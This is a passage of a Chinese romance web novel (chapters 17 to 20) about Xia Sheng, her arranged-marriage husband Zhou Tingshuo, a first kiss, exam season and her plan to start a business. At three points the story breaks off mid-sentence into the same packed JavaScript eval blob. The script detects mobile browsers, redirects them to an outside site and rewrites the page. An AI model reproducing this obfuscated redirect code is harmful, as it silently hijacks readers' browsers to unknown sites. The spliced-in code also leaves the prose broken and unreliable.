倒不是她遭受了性骚扰,受害者之一是跟她关系很好的学姐。 “是,当时我们联名检举,又联系了媒体曝光,费了很大力气收集证据和证人。” “还好,功夫不负有心人。” 她喝了口水,觉得畅快。 “那时我还咨询过免费的法律援助。”她视线落在他刚刚重新递给自己的名片上。 记忆一瞬间闪回,她默念一下律所名称,突然抬眼看向卓冕。 “提供援助的是你们律所?” 三年前的某个清晨,卓冕在办公室通宵整理案情,五百强企业的并购案,他不得不亲自上手。 外间座机一直在响,但上班时间未到,还没人来。 卓冕拖着沉哑的嗓子接通,对面是一通免费咨询电话。 恰逢律所在做公益活动,扩大影响力,这种接免费咨询的小事,按理说他不必理会。 但就是那么巧,他半阖着干涩的眼睛,耐心听完对面的陈述。 电话的最后,他给出具体可行的操作方法。 随后不忘提醒:“有很大概率,会是你们检举失败,如果证据事实不够充分,他不会有任何罪名。” “不怕事后报复打压?” “这甚至不是你的事。” 卓冕仍记得对面短暂沉默后,似乎深思熟虑的回答。 “如果怕淋雨,就不去为其他人撑伞,那么我们所有人终将活在暴雨之中。” 这句话,同样唤起了夏声的记忆。 “接电话的是你?” 勇气、正义,浸染社会多年,卓冕已快忘了这些品质所能迸发出的力量。 所以他清楚的记得,那个敲醒他混沌清晨的声音。 卓冕笑着“嗯”了声。 “其实,我以为你会再打一通电话。” 如果再打过来,那么他会留下自己的联系方式。 夏声从没想过缘分这么奇妙,三年前通过电话的人,三年后会再遇到。 “这下不得不好好感谢你了,这顿饭我请吧。” 卓冕提出异议,并将手机递过来。 “说好今天我请,要想谢那件事,可以下次。” 手机屏幕上是添加好友界面,夏声两下输入自己账号,点了添加。 “可这次帮我朋友,也是要谢你,该我请。” 他收回手机,理由很充分:“这次我赚了祁家骏一大笔,不用谢。” 用餐结束,夏声婉拒了他要送自己的好意。 慢悠悠地顺着马路往回走,顺便拨通爷爷夏国理的电话。 前两天,林家介绍的华南一医教授联系了她,夏国理这会应该已经到医院。 “爷爷,安排什么时候做检查没?” 在一床难求的华南一医,夏国理能住上个单间,他很知足。 “你放心吧,这边都安排得挺好。” “你大姑也陪着呢,不用操心。” 夏国理一共两个孩子,小儿子是个不争气的,还好大女儿还算稳妥。 自从夏声离家念大学,他就被女儿接去同住。 “那检查有结果了,记得跟我说一声。” “行了,别老关心我这老头子了,你怎么样,最近学习忙不忙,跟周家那边,还适应吗?” 夏声瞥见绿灯亮了,匆匆穿过马路。 “嗯,我还养了只小猫作伴,回头给你发几张照片。” “好,爷爷就怕你过得不开心,这次结婚太仓促,本来应该爷爷亲自去给你把把关,可我这身体,唉。” “好在有林家给你看着,也不出错。” 林清江顾及家业发展,多于她人生幸福,虽然如今结果不错,但夏声承不上他的情。 “小周要是个不错的人,以后你遇到什么事,不方便跟爷爷说,就跟他商量着来,他也是你家里人。” 两人通话末尾,周庭朔的电话切进来。 夏声与爷爷告别,才接通。 “在跟谁通电话?” 好像有几天没有听到他的声音,这人几乎满周早出晚归,醒着见不上一面。 白天偶尔发两条信息,已是得闲插空。 刚刚爷爷那句“家里人”,让此刻听筒里传来的声音,莫名有些亲切。 夏声闷声闷气的:“我爷爷。” 前一阵又仔细看过薛女士给他的资料,周庭朔想起,她爷爷身体不太好。 “出什么事了吗?” 他那头传来办公室敲门声,秘书提醒他下一个会到时间了。 夏声听见他让人关上门,又问了她一句。 “有什么需要帮忙的?” “没。” 一辆车抢灯,冲她拼命鸣笛,夏声被吓退回斑马线起点。 不能再分心过马路,她匆匆挂断电话。 “你先忙吧,我回家了。” 回去本想撸撸小猫解压,没想到福宝追着周灵熙,只来蹭了夏声两下就不理她了。 最近周灵熙没少给它喂零食,小家伙跟她更亲。 夏声不满,决定买些玩具挽回点亲密度。 客厅里,她正在手机上挑挑选选,密码锁传来开锁声。 周庭朔出现在门口,时间刚过六点。 本周第一次,有点反常。 连做饭的阿姨徐姐都措手不及,忙擦手出来,问他想吃些什么。 他抬眸看了眼夏声的神色,缓缓开口。 “不用,随便吃些就行。” 夏声坐起身打招呼:“今天这么早,不忙?” “嗯。”他解开西装外套,没急着回书房。 他没说,是那通电话中,夏声心不在焉的态度,和擦在她身侧刺耳的鸣笛声,催得他不得不回家。 最近集团改革闹得沸沸扬扬,他力排众议,坚持扩版西南地区前,先要完成资源重组。 人事调配,地域划分,权力收缴,哪一项都是棘手事。 可他还是推掉众多工作,临时早下班。 西装搭在椅背,他转身倒了杯水,坐在她旁边。 “今天考试了?” 夏声划着手机,一个电动的小老鼠玩具引起她兴趣。 “你怎么知道。” 前两天她打印出的准考证,他有看到,时间就是今天。 “考得不好?” 加入购物车,结算。 夏声按灭手机,看了他一眼。 “怎么不能是考得好?” 徐姐煲的海胆豆腐汤已出了香气,福宝围在脚边,馋得喵喵叫。 夏声去把它抱来,搂在怀里,不让它去捣乱。 她好像算不上不高兴,周庭朔有些摸不清。 恰好周灵熙抱着作业本过来,问夏声一道乘车问题。 小学生的题,她三言两语, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925521|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条理清晰地解释明白,却发现周灵熙注意力都在她怀里的福宝身上。 “熙熙,我讲过一次,你不好好听,下次我就不讲了。” 周灵熙立刻收回逗福宝的手,小声道歉。 “小婶婶,我下次不会了。” 平时夏声最纵容她,在西苑不敢做的事,来这她都带着做。 可她也有底线,比如此时。 一直沉默看着的周庭朔,突然冒出某个想法。 以后如果有小孩,她应该也会教育得很好。 夜里,夏声照例早早回到卧室,赶在周庭朔进来前入睡,是个好选择。 只是她算盘打空。 九点,他就回了卧室。 彼时夏声刚刚收拾齐整躺到床上,立刻装睡也来不及。 两人各占一边,夏声索性拿出手机。 寝室群里,大家还在问她第二道长翻题怎么答的。 旁边周庭朔一样,在手机上回消息。 她回了几条,安真的消息又弹出来。 只不过她刚点开,就听到门外周灵熙的呼唤。 “福宝,你快下来!” 夏声扔下手机,掀开被子出去。 福宝不知怎么跑出来,已跳到客厅窗边那个黑色金属陈列架上。 那上面都是些黑胶唱片,有些限量版,有钱都买不到。 小猫不管东西好坏,只会伸着鼻子到处闻,瞧什么不顺眼,还会扒拉下去。 夏声赶忙踩着椅子,揪着他后脖颈,拎下来。 将闯祸精送走,她还想在外面磨蹭一会再回去,也许这几分钟,他就能先睡着呢? 可她一摸身上才想起,手机没带出来。 总不能枯坐着,算了。 回到卧室,周庭朔意料之中没有睡着。 他好像已经回完消息,正拿着本书靠在床头翻看。 夏声绕到另一边上了床,刚刚扔下的手机就摊在旁边,屏幕甚至还没熄灭。 仍是跟安真的聊天界面,对面的新消息已经刷屏。 前面还在说她们学校实习证明的奇葩要求,后面又改了话题,聊到夏声身上。 且越聊越不对劲。 【不是我说,一周了你家听说哥还避而不见。】 【这就是铁证。】 【他不是身体不行,就是技术不行。】 【我看你也不用验证了,实在不行早点离了换一个。】 【老公不能用,还有什么存在必要。】 夏声越看心越凉,刚刚手机没有锁屏,就这么大喇喇放在被子上。 只要周庭朔不瞎,应该都看见了。 她拿着手机,像端着一块烫手山芋。 余光瞟向旁边,被议论的对象倒神色如常,端稳地坐在那,间或翻一页书。 也许,他看书太投入,并没有看到呢? 抱着这个侥幸,夏声熄灭手机,索性钻进被子里,准备一觉睡过去。 见她动作,周庭朔利落地合上书,放到床头柜上。 回头看着她:“要睡吗?” 她下巴埋在被子里,点点头。 周庭朔眼睫低垂,看向她的目光一如往常清冷,却又带着不可察觉的主动。 “睡前是不是还有件事要做。” 夏声不明所以:“没有了啊。” 想了一会:“哦,关灯。” 她伸出手去,却被他半路拦住,手腕被他握在掌心,按在她枕头一侧。 “不是。”他声音放得很沉,“你还没验证。” 手机里那一排信息迅速涌入她脑海。 夏声僵住动作,半晌,毫无底气地问:“验,验证什么?” “我。” 18. 第 18 章 卧室柔缓的灯光映得他眼神幽暗。 夏声幅度极小地咽了下口水,绞尽脑汁不知该怎么办。 “你,都看见了。” “嗯。” 恨不能立刻找个地缝,为什么她不会时光倒流。 夏声眼神闪烁,飘忽不定,就是不敢看他。 “你别当真,我没有那么想过。”她声音愈发低下去,“也……不用验证。” 解释太过苍白无力,连她自己都不信服。 他俯身过来,低低喊了声她的名字:“夏声。” 惯常清冷的声音,此刻像黑水晶上洒了盐,研磨出清晰的纹理。 “看着我。”一句话,像是命令,更像蛊惑。 夏声视线寸寸流转,直到对上他沉黑的眼睛。 完美的脸部线条被灯光柔和了边界,他的眼眸,是掩在轻纱后的星河,朦胧闪烁。 下一秒,星河的光芒在她眼前放大。 柔软微凉的触感落在她的唇角,一触即分。 接着是第二下,第三下。 由轻到重,反复琢磨,仿佛眼前是一道需要细细品味的甜品。 一切发生得太过突然,夏声睁着眼,看着抵在她鼻尖的,他的鼻梁,默默屏住呼吸。 放在身侧的手忍不住收紧,她紧张到半分不敢动。 大概几秒钟,他略带笑意的声音落在她耳侧。 “你要一直睁着眼吗?” 她愣愣出声:“啊?” 略微启开的唇瞬间被他捕捉,这一次,不再是浅尝辄止的触碰。 双唇相抵,不留一丝缝隙。 呼吸渐渐乱了节奏,按在她手腕上的手,不知何时穿进她的指间,与她十指紧扣。 原本微凉的唇,此刻带着灼人的温度,吮着她的。 一寸一寸,不放过任何角落。 夏声的脸已经热透,胸腔里的心仿佛要从发紧的喉咙里跳出来。 闭着眼,耳边是压抑的喘息,夹杂着水声,吮吸声,不断刺激着她的神经。 像是终于忍不住,她喉咙里溢出一节模糊不清,意味不明的气声。 而她的反应,恰似撒向火堆的助燃剂。 周庭朔短暂的离了她的唇,接着便是更汹涌的进攻。 一切好像都失控了,夏声只觉唇瓣发麻,脑子发木,说不清身体里升起的浪潮,是欢愉还是害怕。 手不自觉抵上他的胸膛,想要用力推开,又被他只手按住。 身上的被子早已不知滑落何处,两具身体紧紧相贴,直到夏声感觉到他身上某处明显的变化。 接触的身体部位像是被灼烫,理智中的羞怯钻出来。 终于得了间隙,夏声略微推开他,匆匆缓口气。 “周庭朔。”她的声音急促,隔着喘息。 他低低应了声,撑起身体,染上欲色的眸子看着她。 灰色枕头上,她的长发凌乱地散着,周庭朔眼神温柔,抬手一点点帮她捋顺,也慢慢捋顺着自己的呼吸。 随后俯身,在她额上落下一吻。 “今天的验证,暂时到这,你早点睡,我还有些事要处理。” 他翻身回去,略微整理下衣领,不忘将散落的被子给她盖上。 对上夏声染上水色的眼睛,他甚至能语气平稳的说一句晚安。 卧室门开了又关,夏声面对一室安静,傻眼。 什么意思。 就……到这了? 胸口躁动的心跳还没平复,夏声坐起来,手背贴着脸颊降温。 想不通,她不能理解。 正常男人会在这个时候喊停吗? 不过至少,她确实验证了,他身体应该没问题。 客房里,冷水澡冲了两遍,身体冷静下来,思维却没有。 周庭朔坐在扶手椅上,点开手机,订购完需要放进床头柜的用品。 几分钟后,他回到书房,继续白天落下的工作。 已近期末,夏声的课少了许多,大部分人都挤进图书馆,开始考前突击。 寝室几人每天都在群里呼唤夏声回归,毕竟学霸伴学,心里有底。 周灵熙昨天也被周仪娇接回去。 美其名曰:别耽误他们二人世界。 哪有时间二人世界,自那晚后,周庭朔时间表又回归到早出晚归的节奏。 她一个人在家,复习进度总是慢,索性包一背,回了学校。 家里的福宝尽情在她卧室撒欢,她买了定时投喂器,没事可以通过上面的摄像头跟它对话。 还拜托了徐姐每天早上放它出来玩,晚上再把它送回她卧室。 学校里能自习的教室都人满为患,夏声直接抱着书,到体育场那背。 顺便给金楠楠发信息,告诉她自己在这等她。 遇到陈远泽时,夏声有种恍如隔世的感觉。 算起来,两人已有两个月没见。 陈远泽带着电脑,显然是刚刚复习完出来,见夏声独自坐在阶梯台上,走过去打了招呼。 他穿着白色羽绒服,干净清爽,开口的语气仿佛他们还像从前一样。 “怎么不去自习室学?” 十二月的天气,其实很冷,好在今天太阳很足。 夏声合上书,搓搓有些凉的手指,揣回口袋。 “人太多,没位置了。” 陈远泽看着她的动作,从背包里拿出一张暖宝宝,撕开包装递给她。 还是大一的期末,最后一门课太难,夏声一连泡在自习室几天,实在头昏脑涨,就去了走廊背书。 干冷的空气能让她保持头脑清醒,也是那时,陈远泽递给她一个暖宝宝。 好像就此,每当入冬,他总习惯在身上带着暖贴。 “啊,谢谢。”夏声接过,有些尴尬。 两人沉默看着空无一人的操场,直到他开口。 “我签了京市的offer,我听你室友说,你可能会留下。” 已经明确拒绝过的事,夏声不想再说第二次。 可她也不想让他有别的想法,刚想开口,被他抢先。 “你别误会,我不是因为你,我有女朋友了。” 夏声紧绷的脸色这才缓和:“哦,好,恭喜你啊。” 从图书馆出来的金楠楠远远叫了她一声:“夏声,走啦,去吃饭。” 陈远泽自然地跟她告别,身后的手却握紧暖贴的包装袋。 他的聊天置顶框仍是她,只是真心话已不能诉诸于口。 三食堂的牛肉面冬天最受欢迎,夏声心满意足地喝着汤,听金楠楠说她国考的情况。 “总之,还不错,考上概率有八成了。” 透过腾腾热气,金楠楠的脸上都是满意。 不过刚挑了两口面,她又瘪下嘴来:“不过我真考回老家,以后就跟你相隔几百公里了。” “怕什么,高铁不过两三个小时就到。”夏声安慰她。 “可我就是舍不得你嘛,你是我读书生涯中,遇到最好的朋友了。” “人美心善,之前要不是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928015|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮我整理那么多复习资料,我真的都想放弃了。” 金楠楠从来都自信不足,她总以为自己考上京大是因为运气。 可没有能力做底,再多运气也考不到这个学校来。 夏声拿出纸巾擦了擦嘴,随后故作姿态地抱起双臂。 “那你得感谢我,回头等你考回去,我去你那旅游,你可要食宿全包。” 金楠楠坐直表态:“没问题,欢迎你来,最好经常来。” “到时候给你介绍个我们当地的帅哥,让你嫁过去留下来。” 夏声收拾吃剩的残羹,笑她想太多。 “你别不信,我们那边宽肩窄腰大长腿的帅哥可不少,等我给你精挑细选一个。” 那倒也不用,她家里就有一位,条件只好不差。 时隔半天,夏声又想起昨夜那个擦枪走火的吻。 她抬手摸摸脸,还好没烫。 明箴集团三十二层。 冬日余晖穿过百叶窗,断断续续洒在黑色的真皮沙发椅上。 电脑上最后一份文件审批完,周庭朔摘下鼻梁上的眼镜,揉揉额角。 助理进来,跟他沟通晚上出席宴会的时间。 中途办公室的电话响起,他瞥了一眼,唇线下压,没有接。 这几天人事调动的决定下来,这些电话就没停过。 助理适时插言:“周总忙完这一阵,也差不多圣诞周了,要不休息几天。” 上次老板太太到访,全公司人都传开,老板对其感情不一般。 陪同吃饭,亲自相送,还主动介绍身份,完全不像外传的那般,名存实亡的家族联姻。 “您可以跟太太度个假,换换心情。” 手旁的手机解锁,两人的对话框里,是夏声几个小时前发的信息。 【期末复习,这几天先不回去了。】 【福宝徐姐会帮忙照看,你不用管。】 【对了,中岛台上那盆小叶赤楠记得给我浇点水。】 事无巨细,她都交代到了,唯独没提到他。 周庭朔眼神暗了暗。 又点开电子日历,看了下时间,随后给她回了信息。 【考试周几号结束?】 【元旦前吧。】 算算时间,倒也合适。 他神色和缓,快速回完信息,才继续跟助理沟通接下来的工作。 下午,夏声去了导师办公室一趟,她婉拒了留校直研的资格,礼貌跟老师道谢。 留校直研与她今后的职业规划相悖,她没必要占这个名额。 之前她其实跟安真提起过未来的规划,说她想做跨境文创。 对方说她瞎折腾:“阔太太的日子,好就好在有钱有闲,不用吃物质的苦。” “你家老公能看不能吃,已经折损你半边利益,还不好好享受剩余价值。” 夏声但笑不语,她做得决定,通常一锤定音。 自从回了林家,她户头上也有不少资金,一直压着没动,就是做了这个打算。 甚至,她已经在慢慢铺垫准备。 前几天,她了解了几家相关企业,不算太大规模的套壳公司,她直接接手,再更改经营子项,能省去大部分手续。 不过她还要咨询一下在法律方面,有没有风险。 正想着,周庭朔的信息弹出来。 【知道了,好好复习。】 是回她之前的信息,口吻像她长辈。 夏声撇了撇嘴,腹诽:倒用你安排,以后我也是总,夏总。 19. 第 19 章 考试周总是慌乱中有序,充实后空虚。 结束最后一科,整个寝室的人都精气涣散,仿佛刚跑完一场熬人的马拉松。 金楠楠将复习资料扔到柜子最角落,摊在椅子上看夏声收拾东西。 “你要出去吗?” 想到一会要去的地方,夏声将羊羔毛的外套换下来,找了件灰色羊绒大衣穿上。 拿上白色提包,她看了眼时间,跟室友们摆手。 “亲爱的们,我有事先出去一趟。” 地标中心区,最高的一栋写字楼。 律所在中间的几层,夏声到的时候,前台问她是否有预约。 不知道手机微信约定,算不算预约? 她正犹豫怎么说,远处的独立办公室门打开,卓冕拿着手机,向这边看了一眼。 “Linda,是找我的。”说完又接着手机里的通话。 前台一转态度,笑容满面地将她引到卓冕办公室门口,随即轻轻敲门,示意她可以进去。 规整明亮的办公室,整体为白色调,银色办公桌上散放着几个案件卷宗。 后方墙上,陈列的是一整面律所和他个人的荣誉。 夏声站在中间,饶有兴味地看着。 卓冕很快结束通话,顺着她的目光向后,不甚在意地评价。 “都是些虚名。” 两人落座在对面的会客区,秘书送来热茶,夏声抿了一口。 “其实,我这种体量的咨询,你介绍下面的人给我就好。” 律所合伙人,不是上千万的案子,想来也不会接手。 但那天她一提及,他就欣然邀请她到律所详谈。 “何况我只是咨询,又不是正经案子。” 她说什么卓冕都耐心听着,还不忘给她添些茶。 见她说完,他才开口:“今天不是咨询,也不是委托,只是朋友聊天。” “创业方面,我多少能给你些建议,比你自己横冲直撞要好很多。” 夏声知道,这间律所是他跟另外两个合伙人一起创办的,从默默无闻到颇有名气,一直稳扎稳打。 他自然能给她建议,建设性的。 “会不会太麻烦,你看起来很忙。” 门外想来请示签字的人来了又走,夏声怕耽误他太多事。 “不会,现在是我休息时间。” 见他坚持,夏声不再推辞,而是快速说明自己的问题,又将了解过的公司资料拿出来,让他一一过目。 哪家架构清晰,哪家风险不明,他一看就有大概评估。 两人聊到暮色低垂,才堪堪结束。 夏声看了眼时间,有些不好意思。 “这么晚了,耽误你太久时间。” 对方并不在意,笑着道:“本来应该留你一起用晚餐,但我晚上还有事,所以……” 夏声赶紧摆摆手,将茶几上散开的资料整理好放进包里。 “不用了,我不打扰了,下次请你吃饭。” “一定。” 出了律所,夏声收到一条打款提示。 是前一阵那个文本翻译的活结款了,只是打款金额却不太对,好像所有的款项都给了她。 本应是她与学姐一人一半。 夏声立刻给学姐打去电话。 “是我特意跟对方说的,上次我主翻的部分出了那么多问题,都是你帮我收尾,这钱本来就该你拿。” “学姐,你说我该拿大头我同意,但你也付出时间精力了,不能一点不拿。” “好了夏声,别跟我纠缠这点小事,你我之间不必。” 这个学姐,就是当年夏声拼命维护的,遭受性骚扰的学姐秦莫。 经过那件事,两人已成为最交心的伙伴。 如今她已经工作,虽然平时联系不多,但偶尔还会一起合作接些私活。 秦莫家境不算好,同原来的夏声一样,努力自律,上学时兼职养活自己。 坚持到现在,她已在京市买了套小公寓,算是落下脚。 夏声了解她的情况,本该约她见面谈的事情,今天恰好通话,就一起跟她说了。 “学姐,我准备创业,想邀请你一起。” “资金方面我出,你人入伙就行。” 创办公司,最好有知根知底,值得信任的人一起,秦莫人品不必说,性格也稳重,是很合适的人。 “我想做跨境文创,主攻法语系地区,你是我的不二人选。” 对面沉吟片刻,没有马上答复她。 “这不是小事,我可能要考虑下。”她顿了顿,“你把你的初步构想,未来规划之类的也发我看看吧。” 如果要跟她一起创业,秦莫势必要辞职,创业本就是高风险的事,她需要考虑夏声非常理解。 “好,晚点我把资料,还有我的想法都发给你。” 挂断电话,夏声抬头,发现自己已走到明箴大厦附近。 律所本也离这里不远,仔细想想,与周庭朔已有快两周没见了。 偶尔她回家看福宝,也都是白天,他不在。 夏声走进电梯,按了三十二层。 窗外是晨昏交接的淡黑,秘书室只剩一人在值守,想来大部分人都已下班。 见夏声到来,本还在摸鱼的秘书立刻起身迎过来。 “太太,您来找周总?” “他还在里面,跨洋电话会议还没结束。” 夏声想了想,决定先在外面等他。 中午薛宁玉给她打电话,得知她已经考完试,邀请她元旦时一起去五台山。 做生意的人,也是图个好意头,年节附近都会去那上香请愿,这回想着带他们一起去。 她没立即答应,第一反应是问问周庭朔。 夏声坐在秘书处办公桌后的空位上,秘书小姐也不便摸鱼,拘谨地守在旁边。 “他后面还有别的工作吗,如果没有的话,你不然也下班吧。” “端茶递水之类的事,我可以代劳。” 老板不走,哪敢擅自下班,秘书连连拒绝。 不过,她看向夏声的眼神带了感激。 没有架子,还会体恤他人,任谁都会留下好印象。 这一等,又快一个小时,夏声坐得腰酸,回头问秘书。 “他平时会议都多久?” “短的可能十几分钟,长的……就不好说了。” 两人正交谈,内线响起。 秘书接起电话,迅速赶往办公室,听过老板需求,不忘提醒一句。 “周总,您夫人到了,已经在外面等了快一小时。” 周庭朔翻阅文件的手停住,看了眼电脑右下角时间,略一沉吟。 “好,知道了。” 秘书出来没多久,夏声便看到周庭朔开门的身影。 两人视线交接,他脚步加快。 “你怎么来了,也不进去。” 他手上搭着大衣,与她身上同色系的深灰,白色衬衫经过一日的满配工作,略微印出些褶皱,恰好贴合他腰身线条,烟灰色西装长裤,衬出修长有力的腿型。 夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938860|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声想起金楠楠说的家乡帅哥,大抵也比不过他这样优越的外形。 “正好在附近,就上来了,没想到你开这么长的会,早知道就不来了。” 身后的秘书小姐没忍住,抿嘴偷笑。 周庭朔回头,告诉她可以下班了。 路上,夏声说起薛宁玉的提议,果然被周庭朔否决。 “不必理会,我们自己安排时间。” “你已经放假了吧。”他问。 基本差不多,一考完试,过几天同学就该陆陆续续回家了。 “正好,我空出几天时间,可以安排短期旅行。” 车上暖气很足,夏声本想脱掉大衣,此刻动作一顿,看向他。 “我们俩去吗?” “嗯。”周庭朔顺手帮她把大衣褪下来。 “有没有想去的地方?” 夏声心里其实有个答案,只不过说出来有些扫兴。 心事一贯在脸上,周庭朔看了她两眼,让她直说。 “我想去看看爷爷,一学期没见他了。” 原来每个假期,她都第一时间打包行李回去,可今年不同。 成家的人,再不好一个人就跑回去。 就连爷爷都提前给她打好预防针,让她假期好好待在京市,跟周庭朔多相处。 “行,我让助理定机票。” 就这么简单? 夏声抬眸看着他:“你同意了?” 他难得的假期,不去好好放松,反要陪她探望老人。 但对周庭朔来说,旅行不过是让自己暂时从工作抽离,去哪并不重要。 况且,他也该陪她去拜访下家人。 “嗯,我尽量安排时间,争取多留几天。” “太好了。” 一路上,十分好心情的夏声,给足了他好脸色。 车子驶进碧水华汀时,她都没提出任何异议,哪怕她本来没计划今晚回来住。 吃过饭,周庭朔照例去他的书房。 夏声将福宝放出来,好一顿揉搓。 小家伙富养了一段时间,已经初具猫猫车雏形。 这会懒洋洋地摊在中岛台上,舔着自己的白手套。 虽然是橘猫,但福宝的四爪和胸前都是白毛,还是人们最喜欢的五粉,也算是靠颜值吃饭。 难得惬意的撸猫时刻,夏声决定看看最近的综艺,放松放松。 只是节目太无聊,沙发太舒服,福宝偎在她怀里又热乎乎。 没看半小时,人就睡着了。 再醒来,已经过去一个多小时,怀里的猫也不见踪迹。 从沙发起身,正好遇到出来接水的周庭朔。 夏声:“看见福宝了吗?” 周庭朔:“送回房间了。” 她哦了声,汲着拖鞋往房间走,刚摸到门把手,身后传来周庭朔的声音。 “你去哪?” 这不显而易见:“回去睡觉啊。” 周庭朔站在主卧门前,压了压眉。 “是那天,我吓到你了?” 哪天?那天! 话题实在敏感,夏声支支吾吾:“没,哪有什么吓到。” 接个吻而已,成年人谁会当回事。 他接着问:“那你为什么不回来睡。” 两者其实没什么关系,但让他这样一说,又有些关系。 头脑风暴半晌,也没想出好借口,门把手都快被夏声攥掉。 那边,周庭朔已推开门,站在那等她。 “进来吧,该睡了。” 20. 第 20 章 不知是不是因为周庭朔看出她的犹豫,这一晚两人楚河汉界,分睡床的两侧。 相安无事。 学校同学陆陆续续离校,夏声也收拾些东西,住回碧水华汀。 她提前跟夏国理说了去看他的日期,老爷子表面说她瞎折腾,心里却高兴得很。 下个学期她们就完全没课了,夏声这几天一直在筹办公司的事。 恰好安真有时间,两人一起约好了去看房子。 看过几处办公间,理想的租金太贵,便宜的条件又着实太差。 忙活一下午,只有眼下这个还算合适。 “你真准备折腾创业啊?”安真还是想劝退她。 夏声检查了下门窗,原租主还留下些办公桌椅,八成新还能用。 “不是我打击你,现在这大环境,创业十有九崩。” 看得差不多了,夏声心里将这定为待选项。 “崩就崩呗,不都说了,二十多岁正是闯荡的年纪。” “难不成等我七老八十,再来从头做起啊。” 眼看这事是板上钉钉,安真也不劝了。 “也是,反正你就算失败,也有得兜底。” 夏声留下中介的名片,两人约好再联系,就拉着安真走了。 她将刚刚拍过的办公室照片,选几张发给秦莫,想听听她的意见。 旁边安真又问她:“对了,你家听说哥知道你折腾这事吗?” 按理说,她应该跟周庭朔说一下。 可是她张罗起的摊子,在人家眼里,只怕跟闹着玩没区别。 想想她又不想说了。 “还没,也不关他的事,我弄我的就行。” “行啊,我们家声声现在也是要做老总的人,就是硬气。” 阴阳怪气的安真被夏声挠了挠腰,笑得不顾形象,差点儿撞到过路的人。 夏声把她拉回来,听她手机响,提醒她接电话。 屏幕显示是祁家骏,安真给了个白眼,将手机扔回包里。 “怎么,好了两天,又闹掰了?” “男人就是不能给他好脸,不然就得寸进尺。”安真慢悠悠说了句,“你家那位同样适用。” 话说得潇洒,实际还是死装。 晚上两人吃饭,安真特意点瓶红酒,一杯接一杯的灌。 喝到第三杯,被夏声拦下,好说歹说劝停,将她清醒的送回家。 那瓶红酒不便宜,安真故意点的,记在祁家骏名下。 剩下的半瓶,夏声可不敢让她带回去,只好自己拎回家。 这几天,应该是为匀出假期,周庭朔仍旧早出晚归,忙得难见人。 客厅里福宝在猫抓盆里犯懒,夏声将前几天到货的电动小老鼠玩具打开,逗他活动活动。 秦莫打来电话时,她刚按住跳上茶几的福宝。 两人聊了近半小时,挂断电话,夏声抱起福宝,狠狠亲了几口。 这几天,夏声一直在跟她沟通创业的事,直到今天她发去办公室照片,秦莫松了口。 “夏声,以后我们要一起加油了。” 终于,这条路,她有伴了。 福宝被夏声亲得喵喵叫,圆圆的眼睛满是不解。 心情极好的夏声看到桌上放着的半瓶红酒,转头跟福宝对话。 “此情此景,是不是应该庆祝一下。” 夏声不太喝酒,刚刚跟安真吃饭时,她都没喝。 但这会儿她雀跃着找出酒杯,满满倒上一杯。 顺便将架子上,那张周庭朔推荐过的黑胶唱片播上。 周庭朔回来时,夏声正捧着酒杯,坐在落地窗前跟福宝絮絮叨叨。 趴在软垫上的猫咪听到开门声,立刻竖起耳朵跑开,仿佛早都听够了她。 她脸上衬着酒晕,神态懒懒,已是微醺状态。 周庭朔脱下大衣走过来:“喝酒了?” “嗯。”她眯着眼,似乎心情很好,还举起酒杯问他,“你要来一杯吗?” 除去平时商务应酬和必要社交,周庭朔鲜少饮酒。 此刻他垂眼看她,却淡淡应了声:“嗯。” 大概因为喝了酒,也可能心情太过好,夏声话格外多,一股脑将她要创业的事,一并说了。 说到找卓冕问了风险和建议时,他眉尾一动。 “怎么不来找我问?” 她挑起眼看着他:“你管理着那么大的公司,哪有时间管我这些事。” “况且,你也瞧不上我这小打小闹吧。” 他坐在旁边的椅子上,微微蹙眉:“为什么会这么想?” “就……”她偏着头,“跟你一比,太不值得一提。” 玻璃窗映出她的身影,单薄纤瘦,盈盈一抹,让人联想到温柔,脆弱。 可提及创业时,她眼里却皆是坚毅与勇气,是蓬勃的生命力。 周庭朔起身,坐到她对面的位置,平视她。 “创业,是从零到一的过程,需要充分的能力、机遇、努力,甚至一部分运气。” “而我,不过是站在一个相对高的起点,才寥寥有所成就。” “如果要我从无到有,也未必一定比你做得好。” 这话诚恳平实,正正好说到夏声心坎里。 她莹润的唇渐渐翘起,看着他的眼神满是赞同。 “你有时候蛮会说话的嘛,还挺招人喜欢。” 周庭朔盯着她的眼,问:“你喜欢?” “嗯。”她点点头,“喜欢……” 话说出口,对上他幽深的目光,瞬间变了意思。 她觉出不对,草草结束对话,说要去洗澡,有点落荒而逃的意味。 不过九点,她已收拾完毕上了床。 按照周庭朔的作息,他大概还要在书房忙一会。 夏声关掉手机,刚准备入睡,房门被推开。 